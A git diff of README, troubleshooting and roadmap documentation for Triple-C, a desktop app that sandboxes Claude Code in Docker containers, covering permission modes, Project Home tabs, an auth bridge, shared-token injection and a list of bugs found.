Stop + the project and start it again. + ### File Permission Issues - Triple-C automatically remaps the container user's UID/GID to match your host user, so files created inside the container should have the correct ownership on your host. -- If you see permission errors, try resetting the container (stop, then click **Reset**). +- If you see permission errors, try resetting the container: stop it, then choose **Reset container** from the **⋯** menu in the Project Home header. Note that this wipes `~/.claude`. ### Settings Won't Save - Most project settings can only be changed when the container is **stopped**. Stop the container first, make your changes, then start it again. - Some changes (like toggling Docker access, Mission Control, or changing mounted folders) trigger an automatic container recreation on the next start. -### MCP Containers Not Starting - -- Ensure the Docker image for the MCP server exists (pull it first if needed). -- Check that Docker socket access is available (stdio + Docker MCP servers auto-enable this). -- Try resetting the project container to force a clean recreation. - ### "Failed to install Anthropic marketplace" Error If Claude Code shows **"Failed to install Anthropic marketplace - Will retry on next startup"** repeatedly, the marketplace metadata in `~/.claude.json` may be corrupted. To fix this, open a **Shell** session in the project and run: diff --git a/README.md b/README.md index a0b7244..b822ba0 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Triple-C (Claude-Code-Container) -Triple-C is a cross-platform desktop application that sandboxes Claude Code inside Docker containers. Each project can optionally enable full permissions mode (`--dangerously-skip-permissions`), giving Claude unrestricted access within the sandbox. +Triple-C is a cross-platform desktop application that sandboxes Claude Code inside Docker containers. Each project chooses its own **permission mode** — from Plan (read-only) through to Bypass (`--dangerously-skip-permissions`), which gives Claude unrestricted access within the sandbox. ## Architecture @@ -13,41 +13,160 @@ Triple-C is a cross-platform desktop application that sandboxes Claude Code insi ``` ┌─────────────────────────────────────────────────────┐ -│ TopBar (terminal tabs + Docker/Image status) │ +│ TopBar (MainTabs strip + Docker/Image status + ?) │ ├────────────┬────────────────────────────────────────┤ -│ Sidebar │ Main Content (terminal views) │ -│ (25% w, │ │ -│ responsive│ │ +│ Sidebar │ Main Content │ +│ (25% w, │ · Project Home views, or │ +│ responsive│ · terminal views (xterm.js) │ │ min/max) │ │ ├────────────┴────────────────────────────────────────┤ -│ StatusBar (project/terminal counts) │ +│ StatusBar (project/terminal counts, STT, scroll) │ └─────────────────────────────────────────────────────┘ ``` +The main area is driven by **one ordered tab strip** (`components/layout/MainTabs.tsx`) holding +two tab kinds: `home:` (Project Home) and `term:` (a terminal). There is no +separate terminal tab bar. `activeSessionId` is derived from the active tab key, so exactly one +thing is current at a time. + +### Keyboard Shortcuts + +Implemented in `hooks/useKeyboardShortcuts.ts` (document-level, capture phase): + +| Shortcut | Action | +|---|---| +| `Ctrl+T` | New Claude terminal for the current project (no-op unless it is running) | +| `Ctrl+Shift+W` | Close the active tab | +| `Ctrl+Tab` / `Ctrl+Shift+Tab` | Cycle tabs forward / backward | +| `Ctrl+1` … `Ctrl+9` | Jump to the nth tab | + +`Ctrl+W` is deliberately **not** bound: it is readline's `kill-word`, used constantly in the +terminal this app is built around. Terminal-scoped keys (`Ctrl+Shift+C`, `Ctrl+Shift+Alt+C`, +`Ctrl+Shift+M`) are handled in `TerminalView.tsx`. + +### Project Home + +Clicking a project row in the sidebar opens **Project Home** in the main area — the per-project +view, with tabs **Overview · Sessions · Automation · Config · Files**. The sidebar row itself is +select-only (plus hover controls for start/stop and opening a terminal); it holds no configuration. +Per-project configuration lives in the Config tab rather than in modals. + +| Tab | Contents | +|---|---| +| **Overview** | Permission mode control, sandbox/backend/Docker-access summary, capability tiles, recent sessions, scheduled tasks | +| **Sessions** | Past Claude Code conversations read from the config volume, with **Resume** | +| **Automation** | The container's `triple-c-scheduler` tasks — enable/disable, run now, read logs, remove, and completion notifications | +| **Config** | Workspace (name, folders), Model (backend), Access (SSH, git, env vars, port mappings), Runtime (permission mode, sandbox, Docker access, Mission Control, instructions, Claude Code settings) | +| **Files** | Browse, download and upload files inside the container | + +Container start/stop progress is reported inline (on the sidebar row and in the Project Home +header) via the `container-progress` event, and failures surface as toasts. There is no blocking +progress modal. + +### Permission Modes + +`PermissionMode` in `models/project.rs` replaces the old `full_permissions` boolean. Four states, +mapped to CLI flags by `PermissionMode::cli_args()`: + +| Mode | Serialized | CLI args passed to `claude` | +|---|---|---| +| **Plan** | `plan` | `--permission-mode plan` | +| **Default** | `default` | *(none)* | +| **Accept Edits** | `acceptEdits` | `--permission-mode acceptEdits` | +| **Bypass** | `bypass` | `--dangerously-skip-permissions` | + +`Project.permission_mode` is `Option`; `effective_permission_mode()` falls back to +the legacy `full_permissions` flag (`true` → Bypass) for records written before the change. Changing +the mode affects terminals opened **from then on** — a running `claude` process keeps the argv it +was launched with. + +Scheduled tasks honour it too. The mode is injected as `TRIPLE_C_PERMISSION_MODE` (via +`as_env_value()`) and written as the `triple-c.permission-mode` container label; the entrypoint +snapshots it into `~/.claude/scheduler/.env`, and `container/triple-c-task-runner` translates it +back into flags for its headless `claude -p` run. Because it travels as container env, a mode change +only reaches the scheduler after the container is recreated on its next start (the label mismatch +forces that). + +### Container Introspection (Capability Tiles) + +`list_container_capabilities` (`commands/inspect_commands.rs`) runs a read-only `find`/`jq` script +inside a running container and returns counts plus item lists for **skills, agents, commands, hooks, +plugins and MCP servers**, at user scope (`/home/claude/.claude`) and project scope +(`/workspace/*/.claude`, `/workspace/*/.mcp.json`). Overview renders these as tiles. + +Triple-C does not create or edit any of them — Claude Code owns that configuration, and the tiles +link out to a terminal where `/agents`, `/hooks`, `/plugins` and `/mcp` do the real work. + +### Auth Bridge + +Browser-based logins run *inside* a container (`claude login`, `aws sso login`, Concourse +`fly login`) start an ephemeral HTTP listener on the container's loopback and expect the host +browser's redirect to reach it. `auth_bridge/` closes that gap: + +- Listeners are discovered by parsing `/proc/net/tcp{,6}` every 2 seconds — the image ships no + `ss`, `netstat` or `lsof`. Only `TCP_LISTEN` rows bound to loopback are considered; wildcard + binds are deliberately ignored (that is the port-mappings feature's job). +- Each discovered port is bound on the host at **the same port number**, on `127.0.0.1` (required) + and `[::1]` (best effort) — never a wildcard address. Node resolves `localhost` to IPv6 first, so + `claude login` often binds `::1` alone; the bridge follows the family it actually finds. +- Traffic is carried in over the Docker API by an attached exec running `socat`, because container + IPs are not routable from the host on Docker Desktop. +- Ports already covered by the project's port mappings are skipped, and a host port that is already + in use is reported as a conflict rather than fought over. + +Opt-in per project (`auth_bridge_enabled`, default `false`), purely host-side, so toggling it never +recreates the container. The poller stops on its own when the container stops. + +**Security posture:** the host side binds loopback only. Everything reachable through it is an +unauthenticated service inside the container, so widening those addresses would publish container +internals to the LAN. Nothing else on the network can reach a bridged port. + +### Shared Claude Authentication Token + +Rather than running `claude login` in every container, `claude setup-token` can be run once +(`commands/auth_token_commands.rs`). The flow borrows a running container, runs the CLI on a PTY, +and the long-lived token it prints is stored in the OS keychain — it is never returned to the +frontend and never logged. Streamed output passes through a chunk-boundary-safe redactor that masks +anything resembling an `sk-ant-` secret. + +The token is injected as `CLAUDE_CODE_OAUTH_TOKEN` into every project where the backend is +Anthropic, the project has not opted out (`use_shared_auth_token`, default `true`), and a token is +actually stored. It is a reserved env key, so it cannot be hand-set as a custom variable. + +Rotation is tracked with a random id (not a hash of the token) mirrored into the +`triple-c.claude-token-version` label — a hash in a `docker inspect`-readable label would be an +offline verification oracle. Acquiring, rotating, revoking or opting out changes that label, which +forces a container recreation on the next start; that is when a container picks the token up or has +it cleared. + ### Container Lifecycle -1. **Create**: New container created with bind mounts, env vars, and labels -2. **Start**: Container started, entrypoint remaps UID/GID, sets up SSH, configures Docker group, sets up MCP servers, injects Claude Code settings -3. **Terminal**: `docker exec` launches Claude Code (or bash shell) with a PTY -4. **Stop**: Container halted (filesystem persists in named volume); MCP containers stopped -5. **Restart**: Existing container restarted; recreated if settings changed (detected via SHA-256 fingerprint) -6. **Reset**: Container removed and recreated from scratch (named volume preserved) +1. **Create**: New container created with bind mounts, named volumes, env vars, and labels +2. **Start**: Container started, entrypoint remaps UID/GID, sets up SSH, configures Docker group, injects Claude Code settings, rebuilds the scheduler crontab +3. **Terminal**: `docker exec` launches Claude Code (with the project's permission-mode flags) or a bash login shell, with a PTY +4. **Stop**: Container halted (its filesystem layer and both named volumes persist) +5. **Restart**: Existing container restarted; if any `triple-c.*` label no longer matches the project's settings, the container is committed to a snapshot image, removed, and recreated from that snapshot — so installed packages survive +6. **Reset**: Container, snapshot image **and both named volumes** all removed, then recreated from the clean base image. `remove_project_volumes` deletes `triple-c-home-{projectId}` and `triple-c-claude-config-{projectId}`, so `~/.claude`, `~/.claude.json`, the OAuth login, installed skills, session transcripts and the scheduler's tasks are all lost. ### Mounts | Target in Container | Source | Type | Notes | |---|---|---|---| -| `/workspace` | Project directory | Bind | Read-write | -| `/home/claude/.claude` | `triple-c-claude-config-{projectId}` | Named Volume | Persists across container recreation | +| `/workspace/` | Each configured project folder | Bind | Read-write; one per folder | +| `/home/claude` | `triple-c-home-{projectId}` | Named Volume | Home directory; survives stop/start and recreation | +| `/home/claude/.claude` | `triple-c-claude-config-{projectId}` | Named Volume | Nested inside the home volume; Docker gives the more specific mount precedence | | `/tmp/.host-ssh` | SSH key directory | Bind | Read-only; entrypoint copies to `~/.ssh` | | `/home/claude/.aws` | AWS config directory | Bind | Read-only; for Bedrock auth | -| `/var/run/docker.sock` | Host Docker socket | Bind | If "Allow container spawning" is ON, or auto-enabled by stdio+Docker MCP servers | +| `/var/run/docker.sock` | Host Docker socket | Bind | If "Allow container spawning" is ON | + +These two named volumes are the only ones a project owns. Both are removed by Reset and by project +removal, and by nothing else. ### Authentication Modes Each project can independently use one of: -- **Anthropic** (OAuth): User runs `claude login` inside the terminal on first use. Token persisted in the config volume across restarts and resets. +- **Anthropic** (OAuth or shared token): either the shared `claude setup-token` token injected as `CLAUDE_CODE_OAUTH_TOKEN` (see below), or a per-container `claude login`. An interactive login's token lives in the config volume and survives container stop/start and recreation — but **not** a Reset, which deletes the volumes. - **AWS Bedrock**: Per-project AWS credentials (static keys, profile, or bearer token). SSO sessions are validated before launching Claude for Profile auth. - **Ollama**: Connect to a local or remote Ollama server via `ANTHROPIC_BASE_URL` (e.g., `http://host.docker.internal:11434`). Requires a model ID, and the model must be pulled (or used via Ollama cloud) before starting the container. - **OpenAI Compatible**: Connect through any OpenAI API-compatible endpoint (LiteLLM, OpenRouter, vLLM, text-generation-inference, LocalAI, etc.) via `ANTHROPIC_BASE_URL` + `ANTHROPIC_AUTH_TOKEN`. API key stored securely in OS keychain. @@ -60,27 +179,6 @@ When "Allow container spawning" is enabled per-project, the host Docker socket i If the Docker access setting is toggled after a container already exists, the container is automatically recreated on next start to apply the mount change. The named config volume (keyed by project ID) is preserved across recreation. -### MCP Server Architecture - -Triple-C supports [Model Context Protocol (MCP)](https://modelcontextprotocol.io/) servers as a Beta feature. MCP servers extend Claude Code with external tools and data sources. - -**Modes**: Each MCP server operates in one of four modes based on transport type and whether a Docker image is specified: - -| Mode | Where It Runs | How It Communicates | -|------|--------------|---------------------| -| Stdio + Manual | Inside the project container | Direct stdin/stdout (e.g., `npx -y @mcp/server`) | -| Stdio + Docker | Separate MCP container | `docker exec -i ` from the project container | -| HTTP + Manual | External / user-provided | Connects to the URL you specify | -| HTTP + Docker | Separate MCP container | `http://:/mcp` via Docker DNS on a shared bridge network | - -**Key behaviors**: -- **Global library**: MCP servers are defined globally in the MCP sidebar tab and stored in `mcp_servers.json` -- **Per-project toggles**: Each project enables/disables individual servers via checkboxes -- **Auto-pull**: Docker images for MCP servers are pulled automatically if not present when the project starts -- **Docker networking**: Docker-based MCP containers run on a per-project bridge network (`triple-c-net-{projectId}`), reachable by container name — not localhost -- **Auto-detection**: Config changes are detected via SHA-256 fingerprints and trigger automatic container recreation -- **Config injection**: MCP server configuration is written to `~/.claude.json` inside the container via the `MCP_SERVERS_JSON` environment variable, merged by the entrypoint using `jq` - ### Mission Control Integration Optional per-project integration with Flight Control — an AI-first development methodology bundled with Triple-C. When enabled, the bundled files are installed into the container, skills are installed, and workflow instructions are injected into CLAUDE.md. @@ -99,7 +197,7 @@ The web terminal shares the existing `ExecSessionManager` via `Arc`-wrapped stor ### Speech-to-Text (Voice Mode) -Triple-C includes optional speech-to-text powered by [Faster Whisper](https://github.com/SYSTRAN/faster-whisper) running in a separate Docker container. When enabled, a microphone button appears in the bottom-left corner of each terminal view. +Triple-C includes optional speech-to-text powered by [Faster Whisper](https://github.com/SYSTRAN/faster-whisper) running in a separate Docker container. When enabled, a microphone button appears in the StatusBar whenever a terminal session is active. - **Hotkey**: `Ctrl+Shift+M` to toggle recording - **Models**: `tiny`, `small`, or `medium` (configurable in Settings) @@ -122,52 +220,67 @@ Users can override this in Settings via the global `docker_socket_path` option. | File | Purpose | |---|---| -| `app/src/App.tsx` | Root layout (TopBar + Sidebar + Main + StatusBar) | -| `app/src/index.css` | Global CSS variables, dark theme, `color-scheme: dark` | -| `app/src/components/layout/TopBar.tsx` | Terminal tabs + Docker/Image status indicators | -| `app/src/components/layout/Sidebar.tsx` | Responsive sidebar (25% width, min 224px, max 320px) | -| `app/src/components/layout/StatusBar.tsx` | Running project/terminal counts | -| `app/src/components/projects/ProjectCard.tsx` | Project config, backend selector, action buttons | -| `app/src/components/projects/ClaudeCodeSettingsModal.tsx` | Claude Code CLI settings modal (TUI mode, effort, focus, caching) | +| `app/src/App.tsx` | Root layout (TopBar + Sidebar + Main + StatusBar + ToastHost) | +| `app/src/index.css` | Global CSS variables, dark theme, `color-scheme: dark`, `:focus-visible` ring | +| `app/src/components/layout/TopBar.tsx` | Hosts MainTabs + Docker/Image status indicators + Help | +| `app/src/components/layout/MainTabs.tsx` | The single main-area tab strip (Project Home + terminal tabs) | +| `app/src/components/layout/Sidebar.tsx` | Responsive sidebar (25% width, min 224px, max 320px), collapsible to an icon rail | +| `app/src/components/layout/StatusBar.tsx` | Project/terminal counts, Jump to Current, STT mic | +| `app/src/components/projects/ProjectRow.tsx` | Select-only sidebar row; opens Project Home, with hover start/stop and terminal controls | | `app/src/components/projects/ProjectList.tsx` | Project list in sidebar | -| `app/src/components/projects/FileManagerModal.tsx` | File browser modal (browse, download, upload) | -| `app/src/components/projects/ContainerProgressModal.tsx` | Real-time container operation progress | -| `app/src/components/mcp/McpPanel.tsx` | MCP server library (global configuration) | -| `app/src/components/mcp/McpServerCard.tsx` | Individual MCP server configuration card | -| `app/src/components/settings/SettingsPanel.tsx` | Docker, AWS, timezone, web terminal, and global settings | +| `app/src/components/projects/PermissionModeControl.tsx` | Plan / Default / Accept Edits / Bypass segmented control | +| `app/src/components/projects/home/ProjectHome.tsx` | Project Home shell: header actions, overflow menu, tab strip | +| `app/src/components/projects/home/OverviewTab.tsx` | Permission mode, summary, capability tiles, recent sessions and tasks | +| `app/src/components/projects/home/SessionsTab.tsx` | Past Claude sessions with Resume | +| `app/src/components/projects/home/AutomationTab.tsx` | Scheduler tasks: toggle, run now, logs, remove, notifications | +| `app/src/components/projects/home/ConfigTab.tsx` | Config sections (Workspace, Model, Access, Runtime) | +| `app/src/components/projects/home/FilesTab.tsx` | File browser (browse, download, upload) | +| `app/src/components/projects/home/CapabilityTiles.tsx` | Read-only skills/agents/commands/hooks/plugins/MCP counts | +| `app/src/components/projects/ClaudeCodeSettingsEditor.tsx` | Claude Code CLI settings (TUI mode, effort, focus, caching) | +| `app/src/components/ui/` | Shared primitives: `Modal`, `Button`, `Toggle`, `Field`, `SegmentedControl`, `StatusIndicator`, `SaveIndicator`, `OverflowMenu`, `ToastHost`, `Tooltip` | +| `app/src/hooks/useKeyboardShortcuts.ts` | `Ctrl+T`, `Ctrl+Shift+W`, `Ctrl+Tab`, `Ctrl+1..9` | +| `app/src/hooks/useContainerProgress.ts` | `container-progress` event → inline progress lines | +| `app/src/components/settings/SettingsPanel.tsx` | Docker, AWS, timezone, web terminal, shared auth, and global settings | +| `app/src/components/settings/SharedAuthSettings.tsx` | Acquire / revoke the shared Claude authentication token | | `app/src/components/settings/WebTerminalSettings.tsx` | Web terminal toggle, URL, token management | | `app/src/components/settings/SttSettings.tsx` | STT settings panel (model, port, language, container controls) | | `app/src/components/terminal/TerminalView.tsx` | xterm.js terminal with WebGL, URL detection, OSC 52 clipboard, image paste | -| `app/src/components/terminal/SttButton.tsx` | Mic button overlay with on-demand container start | -| `app/src/components/terminal/TerminalTabs.tsx` | Tab bar for multiple terminal sessions (claude + bash) | +| `app/src/components/terminal/SttButton.tsx` | Mic button with on-demand STT container start | | `app/src/hooks/useTerminal.ts` | Terminal session management (claude and bash modes) | +| `app/src/hooks/useProjectActions.ts` | Start/stop/reset/backup and terminal-opening helpers | | `app/src/hooks/useFileManager.ts` | File manager operations (list, download, upload) | -| `app/src/hooks/useMcpServers.ts` | MCP server CRUD operations | +| `app/src/hooks/useClaudeAuth.ts` | Shared-token status and acquisition | | `app/src/hooks/useSTT.ts` | Speech-to-text recording, transcription, and container management | -| `app/src-tauri/src/docker/container.rs` | Container creation, mounts, env vars, MCP injection, fingerprinting | -| `app/src-tauri/src/docker/exec.rs` | PTY exec sessions, file upload/download via tar | +| `app/src-tauri/src/docker/container.rs` | Container creation, mounts, env vars, labels, recreation checks, `remove_project_volumes` | +| `app/src-tauri/src/docker/exec.rs` | `create_attached_exec()` — the single attached-exec path; file upload/download via tar | | `app/src-tauri/src/docker/image.rs` | Image building/pulling | -| `app/src-tauri/src/docker/network.rs` | Per-project bridge networks for MCP containers | +| `app/src-tauri/src/docker/stt.rs` | Speech-to-text container lifecycle | +| `app/src-tauri/src/docker/legacy_cleanup.rs` | One-release migration shim removing leftovers from the deleted MCP feature | +| `app/src-tauri/src/auth_bridge/` | Loopback callback bridge (`mod.rs`, `proc_net.rs`, `tunnel.rs`) | | `app/src-tauri/src/commands/project_commands.rs` | Start/stop/rebuild Tauri command handlers | +| `app/src-tauri/src/commands/inspect_commands.rs` | Read-only container views: sessions, capabilities, scheduler tasks | +| `app/src-tauri/src/commands/auth_token_commands.rs` | `claude setup-token` flow, redaction, keychain storage | +| `app/src-tauri/src/commands/auth_bridge_commands.rs` | Auth bridge enable/status commands | | `app/src-tauri/src/commands/file_commands.rs` | File manager Tauri commands (list, download, upload) | -| `app/src-tauri/src/commands/mcp_commands.rs` | MCP server CRUD Tauri commands | -| `app/src-tauri/src/models/project.rs` | Project struct (backend, Docker access, Claude Code settings, MCP servers, Mission Control) | -| `app/src-tauri/src/models/mcp_server.rs` | MCP server struct (transport, Docker image, env vars) | +| `app/src-tauri/src/models/project.rs` | Project struct (backend, `PermissionMode`, Docker access, Claude Code settings, Mission Control, auth bridge, shared-token opt-out) | | `app/src-tauri/src/models/app_settings.rs` | Global settings (image source, Docker socket, AWS, Claude Code settings, web terminal, STT) | | `app/src-tauri/src/web_terminal/server.rs` | Axum HTTP+WS server for remote terminal access | | `app/src-tauri/src/web_terminal/ws_handler.rs` | WebSocket connection handler and session management | | `app/src-tauri/src/web_terminal/terminal.html` | Embedded web UI (xterm.js, project picker, tabs) | | `app/src-tauri/src/commands/stt_commands.rs` | STT start/stop/transcribe Tauri commands | | `app/src-tauri/src/commands/web_terminal_commands.rs` | Web terminal start/stop/status Tauri commands | -| `app/src-tauri/src/storage/mcp_store.rs` | MCP server persistence (JSON with atomic writes) | | `app/src-tauri/src/docker/stt.rs` | STT Docker container lifecycle (create, start, stop, build, pull) | | `app/src/lib/wav.ts` | WAV audio encoding for STT transcription | | `stt-container/Dockerfile` | Faster Whisper STT container image (Python 3.11 + FastAPI) | | `stt-container/server.py` | STT HTTP server (POST /transcribe endpoint) | | `container/Dockerfile` | Ubuntu 24.04 sandbox image with Claude Code + dev tools + clipboard/audio shims | -| `container/entrypoint.sh` | UID/GID remap, SSH setup, Docker group config, MCP injection, Claude Code settings injection, Mission Control setup | +| `container/entrypoint.sh` | UID/GID remap, SSH setup, Docker group config, Claude Code settings injection, Mission Control setup | | `container/osc52-clipboard` | Clipboard shim (xclip/xsel/pbcopy via OSC 52) | | `container/audio-shim` | Audio capture shim (rec/arecord via FIFO) for voice mode | +| `container/triple-c-scheduler` | Bash CLI managing scheduled task JSON and the crontab | +| `container/triple-c-task-runner` | Cron entry point; maps `TRIPLE_C_PERMISSION_MODE` to flags and runs `claude -p` | +| `container/triple-c-sso-refresh` | AWS SSO session refresh helper | +| `app/src-tauri/src/storage/secure.rs` | OS keychain access (per-project secrets, shared token, rotation id) | ## CSS / Styling Notes diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 0000000..3b1a8c2 --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,250 @@ +# Triple-C Roadmap — Claude Code Feature Parity + +**Date:** 2026-08-09 · **Baseline:** v0.3.0 · **Claude Code reference:** 2.1.226 + +Companion to [DESIGN-REVIEW.md](DESIGN-REVIEW.md), which covers visual design and +information architecture. This document covers *which Claude Code capabilities Triple-C +should surface, and why.* + +--- + +## Guiding principle + +> **Triple-C shows state and launches things. Claude Code edits its own config.** + +Triple-C's built-in MCP server management was removed in this cycle because Claude Code +absorbed the capability natively (`claude mcp add/list/remove`, `.mcp.json`, `/mcp`). +Hooks, skills, agents, plugins, output styles, and statusline are the same species: files +under `.claude/` with first-class Claude Code TUIs. Building GUI form editors for them +means losing the same race again. + +What Claude Code cannot do is what Triple-C uniquely owns: **the container boundary and +what persists behind it** — the config volume, workspace mounts, lifecycle, the bundled +scheduler, and the fleet view across many projects. + +--- + +## Current coverage (v0.3.0) + +Triple-C sets exactly five `settings.json` keys, plus a sandbox block: + +| Key | Surfaced as | +|---|---| +| `tui` | TUI Mode select (`fullscreen`) | +| `effort` | Effort Level select (`low`/`medium`/`high`) | +| `autoScrollEnabled` | Auto-Scroll Disabled toggle | +| `focusMode` | Focus Mode toggle | +| `showThinkingSummaries` | Thinking Summaries toggle | +| `sandbox.*` | Sandbox toggle (`enabled`, `enableWeakerNestedSandbox`, `allowUnsandboxedCommands`) | + +Plus four env feature flags — `CLAUDE_CODE_NO_FLICKER`, `CLAUDE_CODE_ENABLE_AWAY_SUMMARY`, +`CLAUDE_CODE_SUBPROCESS_ENV_SCRUB`, `ENABLE_PROMPT_CACHING_1H` — and arbitrary user-set +`CLAUDE_CODE_*` vars via the Env Vars modal. + +Also covered: per-project auth backends (Anthropic OAuth, Bedrock incl. SSO refresh, +Ollama, OpenAI-compatible), user-level `CLAUDE.md` composition, `claude update` on every +container start, terminal ergonomics (OAuth URL detection, OSC 52 clipboard, image paste, +file drag-drop, STT), the web terminal, and workspace backup. + +--- + +## Gap analysis + +### Committed for this cycle + +| # | Gap | Today | Plan | +|---|---|---|---| +| 1 | **Permission modes** | one boolean → `--dangerously-skip-permissions` | Four-state control (Plan / Default / Accept Edits / Bypass) → `--permission-mode`. Verified choices on 2.1.226: `acceptEdits`, `auto`, `bypassPermissions`, `manual`, `dontAsk`, `plan`. | +| 2 | **Session resume** | none | List sessions from the config volume; `[Resume]` opens a terminal on `claude --resume `. | +| 3 | **Capability inventory** | none | Read-only counts + names for skills / agents / hooks / plugins / commands / native MCP servers. Deep-link to the terminal to manage. | +| 4 | **Automation** | `triple-c-scheduler` ships in every container with *zero* UI | Task list, cron editor, run-now, logs, notification badges. | +| 5 | **Container auth handoff** | manual code paste | See "Authentication handoff" below — design decision pending. | + +### Deliberately skipped + +Status line builder · output-styles editor · hook *editors* · checkpoint/rewind browser · +plugin marketplace browser. Each is niche, natively handled by Claude Code's own TUI, or a +settings-editor trap. Surface counts and deep-link instead. + +### Not yet scheduled + +- Granular `permissions.allow` / `ask` / `deny` rules and `additionalDirectories` +- Sandbox detail settings (`filesystem.allowRead/allowWrite`, `allowedDomains`, + `excludedCommands`) — currently documented for hand-editing via `SANDBOX_INSTRUCTIONS` +- Project-level `.claude/settings.json` vs user-level settings hierarchy +- A model picker. **Note:** the only model strings in the app today are stale placeholders + (`anthropic.claude-sonnet-4-20250514-v1:0` in `AwsSettings.tsx` and `ProjectCard.tsx`, + `qwen3.5:27b`, `gpt-4o / gemini-pro / etc.`). These are free-text placeholders, not + dropdowns, but they should be refreshed to current model identifiers regardless. +- The container's settings.json merge is **shallow** (`jq -s '.[0] * .[1]'`), so a + user-authored nested block such as `sandbox.filesystem.allowWrite` is replaced wholesale + on every container start. Worth deepening to `*` recursive merge. + +--- + +## Authentication handoff + +**Goal:** stop making users hand-copy an auth code into every container. + +**Constraint discovered during research:** `claude login`'s callback server uses an +**ephemeral port** and its redirect URI is **not configurable** for the main login flow +(`--callback-port` and `oauth.callbackPort` apply to *MCP server* OAuth only). So a design +that pre-assigns each container a fixed callback port and routes to it cannot work as +stated — there is no fixed port to route. + +There is also a known container gotcha: on Linux, Node resolves `localhost` to IPv6 first, +so the callback server may bind `[::1]:PORT` only and be unreachable over IPv4 +([anthropics/claude-code#44844](https://github.com/anthropics/claude-code/issues/44844)). + +Two viable options: + +### Option A — long-lived token injection (simple) + +`claude setup-token` (verified present on 2.1.226: *"Set up a long-lived authentication +token (requires Claude subscription)"*) returns a ~1-year OAuth token. Triple-C runs it in +a running container, stores the token in the OS keychain via the existing `secure.rs`, and +injects `CLAUDE_CODE_OAUTH_TOKEN` into every container on the Anthropic backend. + +**Correction to an earlier assumption in this document.** `setup-token` does *not* start a +loopback callback listener, so it does not need the Auth Bridge. Verified by running it +under a pty: its `redirect_uri` is Anthropic-hosted +(`https://platform.claude.com/oauth/code/callback`), the user copies a code off that page, +and the CLI blocks at a `Paste code here if prompted >` prompt on **stdin**. A stdin path +is therefore mandatory — the flow cannot complete without one. + +- No routing, no ports, no proxy. +- One auth event covers every project. +- Cost: small. Reuses existing keychain and env-injection plumbing. +- Limits: token is subscription-scoped and expires annually; per the docs a `setup-token` + token cannot drive Remote Control sessions or claude.ai connector fetches. + +Change detection uses a **random rotation id** in the `triple-c.claude-token-version` +label, not a hash of the token. Labels are readable by anything that can run +`docker inspect`, so a hash would be an offline verification oracle — given a candidate +token you could confirm it. A presence boolean would instead miss rotations and silently +leave containers on a stale token. + +### Option B — the Auth Bridge (general loopback-callback bridge) + +Option A only solves Claude Code. The same problem affects every CLI that authenticates by +starting a temporary loopback listener and opening a browser at a URL that redirects back +to it — Concourse `fly login` (random loopback port serving `/auth/callback`), +`aws sso login`, and many others. Inside a container the host browser cannot reach that +listener, so login stalls. + +Because the ports are ephemeral and unconfigurable, nothing can be pre-assigned. The bridge +**discovers** listeners instead: + +1. While enabled for a running project, poll the container for loopback TCP listeners by + reading `/proc/net/tcp` and `/proc/net/tcp6` over `docker exec` — no dependency on + `ss`/`netstat`/`lsof`, which aren't guaranteed in the image. +2. For each newly-appeared loopback listener, bind **the same port on the host's + `127.0.0.1`** (never `0.0.0.0` — that would expose container internals to the LAN). +3. Proxy each accepted connection into the container over the Docker API via + `socat - TCP:127.0.0.1:` (socat already ships in the image), reusing the existing + attached-exec streaming in `docker/exec.rs`. Going through the Docker API rather than a + container IP keeps this working on Docker Desktop, where container IPs are not routable + from the host. +4. Fall back to `TCP6:[::1]:` when the listener appeared only on IPv6 — on Linux, + Node resolves `localhost` to IPv6 first, so `claude login` frequently binds `::1` only + ([anthropics/claude-code#44844](https://github.com/anthropics/claude-code/issues/44844)). +5. Tear down when the listener vanishes, the container stops, the bridge is disabled, or + the app exits. Ports already covered by the project's explicit port mappings are skipped; + host-side conflicts are reported rather than silently swallowed. + +Opt-in per project (`auth_bridge_enabled`, default off), since it makes container-internal +loopback services reachable from the host. + +**Plan:** ship **A** for Claude Code specifically — it removes the pain for the common case +at a fraction of the cost — and **B** as the general mechanism covering every other CLI. +They compose: A means most users never trigger a browser login at all; B catches AWS SSO, +Concourse, and anything else that needs a real callback. + +--- + +## Sequencing + +**Phase 0 — done.** Remove MCP (frontend, backend, entrypoint, docs) with a self-healing +migration for containers created against the old per-project Docker network. + +**Phase 1 — foundations.** Permission modes end-to-end (including the scheduler bug fix +below). Read-only introspection backend: sessions, capabilities, scheduler. + +**Phase 2 — Tier-1 polish.** Focus rings, contrast fixes, real buttons, inline start/stop +progress, status labels, onboarding welcome screen, shared accessible ``. + +**Phase 3 — Project Home.** Move project config out of the sidebar card into a tabbed +main-area view (Overview / Sessions / Automation / Config), dissolving the modal pile and +splitting the 1,257-line `ProjectCard`. + +**Phase 4 — authentication handoff.** Option A, then evaluate B. + +**Phase 5 — Library.** Global skills/agents/commands with per-project enable, synced into +the config volume by the entrypoint. Generalizes the pattern the MCP tab was reaching for. + +--- + +## Bugs found during this review + +1. **Scheduled tasks ignore the project's permission setting.** + `container/triple-c-task-runner:69` runs + `claude -p "$PROMPT" --dangerously-skip-permissions` unconditionally, regardless of the + project's Full Permissions toggle. Being fixed as part of Phase 1. + +2. **Docs claim Reset preserves credentials; it does not.** + `rebuild_project_container` calls `remove_project_volumes`, which deletes both + `triple-c-home-{id}` (holding `~/.claude.json`) and `triple-c-claude-config-{id}` + (holding `~/.claude`). README.md, HOW-TO-USE.md, and CLAUDE.md all still state that + OAuth tokens survive a Reset. Pre-existing; not yet corrected. + +3. **An invalid cron expression silently unscheduled every task.** Found while adding + task creation to the Automation tab, and the most serious bug in this review. + `triple-c-scheduler` never validated `--schedule`, and `rebuild_crontab` regenerates the + *entire* crontab and pipes it to `crontab`, which rejects the whole file if any single + line is malformed — with the error discarded by `2>/dev/null || true`. So one bad + schedule silently unscheduled every other task in the container, reporting success. + Reproduced directly. This mattered because the global CLAUDE.md instructs Claude to use + this CLI, so Claude itself could trigger it. Fixed at the root: `add` now validates the + expression and exits non-zero, and `rebuild_crontab` reports a rejected crontab instead + of swallowing it. The Rust `add_scheduled_task` command validates independently. + +4. **Reset was destructive with no confirmation.** It deletes both volumes — the login, + installed skills, all session transcripts — from a single unconfirmed click, while the + comparably destructive Remove already confirmed. Now gated by a dialog that names each + loss. Fixed. + +5. **Cancelling authentication did not cancel.** Fixed — see the handoff section above. + +6. **Stale model placeholders** — see "Not yet scheduled" above. + +7. **Silent save failures.** Project config saves on blur; failures went only to + `console.error`. 